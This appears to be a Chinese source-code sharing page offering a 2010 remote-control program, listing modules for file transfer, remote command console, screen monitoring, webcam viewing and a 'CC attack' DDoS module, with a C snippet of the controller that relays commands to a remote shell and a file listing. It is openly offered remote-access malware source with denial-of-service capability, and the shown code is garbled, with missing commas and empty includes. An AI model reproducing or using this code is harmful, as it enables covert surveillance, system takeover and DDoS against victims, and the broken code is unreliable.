资源简介
功能模块(DLL):
支持硬盘,目录操作,上传,下载.
控制台(CMD命令)
远程屏幕操作
远程摄像头查看
压力测试(cc攻击)
参考此源代码必须要有C语言,windows sdk编程,socket编程基础
源代码目录列表:
模块:
Exe_screen 屏幕监控程序,客户端根据不同的SessionID,来启动这个程序连接到中心端进行屏幕管理.
Initialize 初始化程序,一些常用的函数都在这个模块初始化,来供其他模块调用.
Mod_cmd 控制台模块
Mod_ddos 远程CC模块
Mod_file 文件管理模块
Mod_screen 启动exe_screen的模块
Tcapdll 摄像头模块(vs2008)
主程序:
Kmc 为客户端
Kms 为中心端
代码片段和文件信息
/*
开发作者:可明
开发日期:2010.8
远程控制编程讨论群:306601696467438
*/
#include
#include
#include
#include
#include
HANDLE hExit = NULL;
unsigned __stdcall wordk_recv(void *param)
{
char buffer[4096];
WSANETWORKEVENTS events;
WSAEVENT WSAEvent = WSACreateEvent();
SOCKET sock = (SOCKET)param;
WSAEventSelect(sock WSAEvent FD_READ | FD_CLOSE);
for (;;) {
if (WaitForSingleobject(WSAEvent INFINITE) == -1)
break;
if (WSAEnumNetworkEvents(sock WSAEvent &events) != 0)
break;
if(events.lNetworkEvents & FD_CLOSE) {
break;
} else if (events.lNetworkEvents & FD_READ) {
memset(buffer 0x0 4096);
if (recv(sock buffer 4096 0) > 0) {
printf(buffer);
}
}
}
SetEvent(hExit);
return 0;
}
unsigned __stdcall wordk_cmd(void *param)
{
char cmd[4096];
SOCKET sock = (SOCKET)param;
for (;;) {
memset(cmd 0x0 4096);
gets(cmd);
strcat(cmd “\r\n“);
send(sock cmd strlen(cmd) 0);
}
return 0;
}
int main(int argc char *argv[])
{
if (argc != 2)
return -1;
DialogBox(NULL NULL NULL NULL);
u_long port = atol(argv[1]);
WSADATA WSAData;
WSAStartup(0x202&WSAData);
struct hostent *host;
struct sockaddr_in server_in;
struct sockaddr_in client_in;
int client_in_len;
SOCKET socket = WSASocket(AF_INET SOCK_STREAM IPPROTO_TCP 0 0 0);
SOCKET client_sock;
host = gethostbyname(NULL);
if (host == NULL)
return -1;
// printf(“Wait %s\n“argv[1]);
server_in.sin_family = AF_INET;
server_in.sin_port = htons(port);
server_in.sin_addr.s_addr = INADDR_ANY;
memcpy(&server_in.sin_addr.S_un.S_addrhost->h_addr_list[0]host->h_length);
if(bind(socket(struct sockaddr far*)&server_insizeof(server_in)) == SOCKET_ERROR){
return -1;
}
listen(socket10);
client_in_len = sizeof(client_in);
client_sock = accept(socket(struct sockaddr far*)&client_in&client_in_len);
closesocket(socket);
if(client_sock != INVALID_SOCKET){
hExit = CreateEvent(NULLFALSEFALSENULL);
CloseHandle((HANDLE)_beginthreadex(NULL0wordk_recv(void*)client_sock0NULL));
CloseHandle((HANDLE)_beginthreadex(NULL0wordk_cmd(void*)client_sock0NULL));
WaitForSingleobject(hExitINFINITE);
CloseHandle(hExit);
closesocket(client_sock);
}
return 0;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 776 2010-07-10 00:09 src\kms\kms.layout
文件 17953 2010-07-16 01:01 src\kms\main.c
文件 917 2010-07-16 01:01 src\kms\km_socket.h
文件 16891 2010-07-16 01:01 src\kms\km_head.h
文件 1697 2010-07-08 02:09 src\kms\kms.cbp
文件 7669 2010-07-16 01:01 src\kms\km_socket.c
文件 7460 2010-07-16 01:01 src\kms\km_main_event.c
文件 494 2010-07-10 00:09 src\kms\kms.depend
文件 926 2010-07-16 01:01 src\kms\km_main_event.h
文件 9329 2010-07-16 00:58 src\kmc\km_head.h
文件 2373 2010-07-16 01:01 src\kmc\main.c
文件 8121 2010-07-06 21:11 src\kmc\tcs.rc
文件 15283 2010-07-16 01:01 src\kmc\main_fr
文件 518 2010-07-16 01:01 src\kmc\main_fr
文件 4016 2010-07-06 21:11 src\kmc\resource.h
文件 4272 2010-07-16 00:58 src\kmc\fr
文件 7049 2010-07-16 00:58 src\kmc\crc32.c
文件 3941 2010-07-01 23:38 src\kmc\kmc.cbp
文件 1146 2010-07-16 00:58 src\kmc\km_socket.h
文件 1715 2010-06-28 17:57 src\kmc\main_fr
文件 8866 2010-07-16 00:59 src\kmc\m_fr
文件 248 2010-07-16 00:58 src\kmc\crc32.h
文件 316 2010-01-07 01:42 src\kmc\module_manger.h
文件 707 2010-07-16 00:58 src\kmc\file.c
文件 306 2010-07-16 00:58 src\kmc\file.h
文件 463 2010-07-16 00:58 src\kmc\ip_info.h
文件 2476 2010-07-16 00:58 src\kmc\ip_info.c
文件 790 2010-07-16 00:58 src\kmc\fr
文件 11778 2010-07-16 00:59 src\kmc\m_fr
文件 4638 2010-07-16 01:00 src\kmc\m_fr
............此处省略128个文件信息
- 上一篇:C语言编写二进制数搜索程序
- 下一篇:Linux下发包程序
评论
共有 条评论